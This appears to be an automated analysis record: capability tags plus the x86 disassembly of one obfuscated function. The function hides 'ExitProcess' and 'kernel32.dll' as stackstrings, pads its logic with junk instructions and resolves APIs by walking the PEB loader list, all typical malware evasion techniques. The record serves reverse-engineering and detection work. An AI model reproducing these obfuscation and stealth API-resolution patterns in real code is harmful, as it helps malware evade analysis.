Function at 0x426ed3
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
test dword [esp + esi*8 - 0x39df0001], eax
test dword [ebp + 0x20fffff4], eax
mov byte [ebp - 0xb7a], 0x5a
push ebx
push esi
add esp, 4
and ebx, 0x128de
pop ebx
push esi
push edx
add esp, 4
or esi, 0x7480
sub esi, 0x1d99
sub esi, 0x81f6
pop esi
push eax
xor eax, 0x1024e
add eax, 0x3bd1
pop eax
mov dword [ebp - 0x1fa4], 0xe
push esi
push edx
add esp, 4
or esi, 0x2844
jmp 0x4268c8
pop esi
push ebx
push edi
add esp, 4
xor ebx, 0x30bc
xor ebx, 0x13cea
sub ebx, 0xe6ae
add ebx, 0x2ad7
pop ebx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb78]
mov dword [ebp - 0x14bc], eax
invalid
call dword [eax - 0x7f]
loopne 0x426896
inc eax
add byte [eax], al
pop eax
push edx
and edx, 0x17b09
jmp 0x426912
add edx, 0x76bd
pop edx
push eax
xor eax, 0xd3ef
pop eax
push eax
and eax, 0x4c0d
jmp 0x42692d
pop eax
mov dword [ebp - 0x1fa8], 0xffffffff
push edi
add edi, 0x397a
call 0x42694e
add byte [0x4b4f504f], dh
cmp al, 0x3d
dec esp
cmp eax, 0x5f04c483
push edi
push eax
add esp, 4
xor edi, 0x14021
add edi, 0x1a2e
add edi, 0x51a3
pop edi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4cc], ecx
jmp 0x426987
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push ebx
add ebx, 0x6eaf
pop ebx
push ecx
push edi
add esp, 4
call 0x4269a3
add byte [0x474b3f3f], dh
cmp al, 0x48
cmp eax, 0x4c48346
pop ecx
push esi
push ecx
add esp, 4
xor esi, 0x111d3
add esi, 0x1143f
pop esi
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x426a01
push eax
sub eax, 0xe382
pop eax
push esi
push ebx
add esp, 4
sub esi, 0xa7a0
pop esi
push ecx
push eax
add esp, 4
add ecx, 0xfeba
or ecx, 0x4425
add ecx, 0x14e04
and ecx, 0x7636
pop ecx
jmp 0x426c2f
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push eax
and eax, 0x3cdd
pop eax
push edx
push edi
add esp, 4
xor edx, 0x3ced
jmp 0x426a30
sub edx, 0x16600
or edx, 0xf80f
pop edx
push edi
push edi
add esp, 4
add edi, 0x1656
pop edi
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x426ab0
push ebx
push edx
add esp, 4
call 0x426a82
add byte [ebx + ecx*2 + 0x3e], al
cmp eax, 0x33413249
push eax
dec ebp
add esp, 4
call 0x426a93
add byte [ebp + 0x46], al
inc ecx
dec esi
dec edx
cmp al, 0x3a
add esp, 4
pop ebx
push eax
xor eax, 0xd53
pop eax
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x426be1
cmp dword [ebp - 0xc08], 0
jle 0x426bd5
push ecx
push ecx
add esp, 4
jmp 0x426ac9
pop ecx
push edx
call 0x426ad8
add byte [ebx + 0x40], al
xor al, 0x4a
dec eax
inc eax
xor eax, dword [ebx + 0x5eb04c4]
aas
cmp eax, dword ds:[ebx + 0x4d]
sub edx, 0x8293
xor edx, 0x14906
pop edx
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x426b71
push edi
call 0x426b15
add byte [eax], bh
aaa
xor esi, dword [edi + eax*2]
push eax
dec ecx
cmp edx, dword [eax - 0x7d]
les eax, [ecx + eax*4]
iretd
push esi
push edi
add esp, 4
sub esi, 0x174e
xor esi, 0xe819
pop esi
push edi
sub edi, 0x85be
xor edi, 0xef5
add edi, 0x31f6
pop edi
push ebx
push eax
add esp, 4
sub ebx, 0x3ff2
pop ebx
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x426ab0
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x426c2a
push edx
push ecx
add esp, 4
sub edx, 0x1419
call 0x426c05
add byte [0x4c4d4347], bh
push eax
xor bh, byte [esi + esi]
cmp eax, 0xe804c483
or eax, dword [eax]
add byte [eax], al
add byte [ebx + ecx*2 + 0x45], cl
xor al, 0x39
cmp dword [esi + 0x45], eax
push eax
cmp dword [ebx - 0x74a5fb3c], eax
test dword [ebx + edi*8], esi
invalid
jmp 0x426978
push edx
push eax
add esp, 4
call 0x426c40
add byte [ebp + 0x40], cl
cmp eax, dword [esi + 0x4d]
cmp dword [ebx + 0x505a04c4], eax
sub eax, 0xfcbf
or eax, 0x1516a
jmp 0x426c5a
xor eax, 0x10978
pop eax
mov dword [ebp - 0x3cc], 0
push ebx
push ecx
add esp, 4
and ebx, 0x12f5e
xor ebx, 0x14082
jmp 0x426c82
or ebx, 0x14935
pop ebx
push ecx
push edx
add esp, 4
and ecx, 0x9100
pop ecx
push esi
or esi, 2
pop esi
push esi
and esi, 0x9e6
sub esi, 0x3de7
and esi, 0xcee2
pop esi
push edx
push ebx
add esp, 4
xor edx, 0xb6aa
add edx, 0xcef7
xor edx, 0x3022
add edx, 0x666d
pop edx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push ebx
and ebx, 0xba5f
pop ebx
push esi
push esi
add esp, 4
or esi, 0x26da
sub esi, 0x103e2
add esi, 0x84a7
pop esi
push ecx
push edi
add esp, 4
jmp 0x426d0f
xor ecx, 0xd09c
pop ecx
mov dword [ebp - 0x1fac], 0xffffffff
push edi
push esi
add esp, 4
and edi, 0x9cfc
xor edi, 0x2d1d
pop edi
push ebx
push esi
add esp, 4
xor ebx, 0xd0f2
pop ebx
push ecx
add ecx, 0x165b2
pop ecx
push eax
push ebx
add esp, 4
add eax, 0x11da1
pop eax
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x426d6f
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push eax
push eax
add esp, 4
or eax, 0x10b78
or eax, 0xe1ad
and eax, 0x7e25
pop eax
push ebx
or ebx, 0xfb13
add ebx, 0x55dd
and ebx, 0x12a6
or ebx, 0x843f
pop ebx
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x426de9
push ecx
push edx
add esp, 4
or ecx, 0x1616a
xor ecx, 0x145f6
and ecx, 0xd8f4
jmp 0x426dcf
pop ecx
push edi
sub edi, 0x16257
xor edi, 0x2040
sub edi, 0x636a
pop edi
jmp 0x427017
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push edi
push edx
add esp, 4
call 0x426e12
add byte [eax + 0x47], dl
dec esp
push eax
inc ebp
dec ebx
aaa
cmp dword [ebx + 0x5eb04c4], eax
cmp al, 0x35
inc edx
xor eax, 0x81575f4f
test ebp, 0x5f00009e
push edi
push esi
add esp, 4
and edi, 0x9ef2
pop edi
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x426e98
push edx
call 0x426e63
add byte [edi], bh
dec ecx
cmp al, 0x3e
xor al, 0x32
xor al, 0x83
les eax, [edx + ebx*2]
push ebx
or ebx, 0x1607d
call 0x426e7d
add byte [esi + 0x3b], cl
xor eax, 0x4c433647
cmp dh, byte [esi]
add esp, 4
and ebx, 0xfde0
pop ebx
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x426fc9
cmp dword [ebp - 0xc10], 0
jle 0x426fbd
push ebx
xor ebx, 0x10359
pop ebx
push esi
push edi
add esp, 4
add esi, 0x50c
call 0x426ec4
add byte [edi + 0x47], al
inc ebp
push eax
xor eax, 0x4c4833c
call 0x426ed3
add byte [edi + 0x3c], al
xor ecx, dword [ecx + 0x40]
cmp al, 0x83
les eax, [esi + ebx*2]
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x426f59
push ebx
add ebx, 0x4fe9
pop ebx
push ebx
push eax
add esp, 4
and ebx, 0x11f37
or ebx, 0xa0ef
add ebx, 0x121fa
pop ebx
push edi
push edx
add esp, 4
jmp 0x426f18
and edi, 0x58b4
pop edi
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x426f41
mov dword [ebp - 0x14cc], 1
jmp 0x426f4b
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x426fbd
push eax
and eax, 0xa4af
or eax, 0x3536
and eax, 0x15122
pop eax
push edi
push ecx
add esp, 4
and edi, 0x6480
and edi, 0x3b34
add edi, 0x3c52
and edi, 0x150ec
pop edi
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x426e98
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x427012
push edx
or edx, 0x2187
pop edx
push edx
jmp 0x426fe4
or edx, 0x10223
jmp 0x426ff1
pop edx
push edx
push esi
add esp, 4
or edx, 0x69d9
add edx, 0xdf2d
pop edx
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x427053
jmp 0x426d60
push esi
jmp 0x427020
sub esi, 0x252d
jmp 0x42702b
or esi, 0xeaed
pop esi
push ecx
jmp 0x42703c
or ecx, 0x15a8e
sub ecx, 0x12b18
pop ecx
mov dword [ebp - 0xa5c], 0
push edi
push esi
add esp, 4
and edi, 0x7d78
xor edi, 0x13124
or edi, 0x7f6a
and edi, 0x16aa6
pop edi
push eax
and eax, 0xbb13
and eax, 0xf6e1
and eax, 0x11a41
pop eax
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push eax
push ecx
add esp, 4
sub eax, 0x59bd
pop eax
push edx
push esi
add esp, 4
call 0x4270f9
add byte [ebp + 0x3e], al
inc ecx
xor esi, dword ds:[ebx]
inc esp
inc ebx
aaa
add esp, 4
pop edx
push esi
xor esi, 0x10ac1
and esi, 0xd756
pop esi
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push edx
push ecx
add esp, 4
and edx, 0x164a3
jmp 0x4271b5
pop edx
push edi
push edi
add esp, 4
xor edi, 0x24b3
xor edi, 0xf47e
pop edi
push edi
add edi, 0x13398
or edi, 0x4188
pop edi
push edx
call 0x4271e4
add byte [edi], bh
xor al, 0x4d
inc ebx
inc esi
aaa
add esp, 4
sub edx, 0x83e1
pop edx
push eax
and eax, 0x18412
xor eax, 0xe4ef
or eax, 0x98b8
or eax, 0x40b9
pop eax
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push ecx
or ecx, 0xa1d7
or ecx, 0x9c39
call 0x42724a
add byte [esi + 0x41], cl
dec eax
inc esi
xor bh, byte [0x4c48332]
add ecx, 0x12f6f
pop ecx
push eax
add eax, 0x7ec3
and eax, 0x14ae3
pop eax
cmp dword [ebp - 0x14d4], 0
jne 0x42727a
mov dword [ebp - 0x2e0], 0
jmp 0x427536
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push ebx
and ebx, 0x1213e
xor ebx, 0x128f9
or ebx, 0x16a02
or ebx, 0x15995
pop ebx
push ebx
push ecx
add esp, 4
add ebx, 0x11bcc
pop ebx
push esi
push edx
add esp, 4
sub esi, 0x135f7
pop esi
cmp dword [ebp - 0xc20], 0
jne 0x4272d6
mov dword [ebp - 0x2e0], 0
jmp 0x427536
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push edx
push ecx
add esp, 4
xor edx, 0x889a
xor edx, 0x3d2c
add edx, 0x12ee
and edx, 0x7d23
pop edx
push edx
or edx, 0xa857
pop edx
push edx
push edx
add esp, 4
sub edx, 0x123c2
pop edx
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push edx
push ebx
add esp, 4
and edx, 0x165f9
pop edx
push ebx
and ebx, 0x1136e
or ebx, 0x1259e
sub ebx, 0x1238
add ebx, 0x653b
pop ebx
push esi
push ebx
add esp, 4
jmp 0x427372
pop esi
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push esi
or esi, 0xe5e7
sub esi, 0xc709
or esi, 0x11702
pop esi
push ebx
push eax
add esp, 4
and ebx, 0x3e46
jmp 0x4273f2
add ebx, 0x91d3
sub ebx, 0xc20c
pop ebx
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x427422
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x427485
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x427341
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x427341
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x42746f
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x427479
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x4274ce
push ecx
sub ecx, 0x12636
and ecx, 0x16b3c
add dword [eax], eax
pop ecx
push edi
xor edi, 0x12e7
xor edi, 0x24e4
and edi, 0x2e11
pop edi
push edx
and edx, 0x2219
pop edx
push eax
sub eax, 0x68b7
add byte [eax - 0x75], bl
test dword [ebx + edi*8], ebp
invalid
dec dword [ecx - 0x2df7b]
invalid
jmp 0x427536
push edi
xor edi, 0xbf59
xor edi, 0x13e9d
pop edi
push eax
push edx
add esp, 4
add eax, 0xb85d
or eax, 0xaf62
call 0x4274fc
add byte [esi + 0x33444433], bh
inc edi
xor eax, 0x5804c483
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x42752c
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x4272e2
mov dword [ebp - 0x2e0], 0
push ecx
xor ecx, 0x4b7c
jmp 0x427543
pop ecx
push esi
sub esi, 0x7073
pop esi
push edi
push ebx
add esp, 4
jmp 0x427559
pop edi
push ecx
and ecx, 0x179ef
or ecx, 0x10bdc
pop ecx
cmp dword [ebp - 0x2e0], 0
jne 0x427e81
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ecx
and ecx, 0x15dee
out dx, al
pop ebp
add dword [eax], eax
jmp 0x42761d
xor ecx, 0x37b6
pop ecx
push esi
jmp 0x42762d
pop esi
push edx
push eax
add esp, 4
sub edx, 0xb2ce
add edx, 0x11445
pop edx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f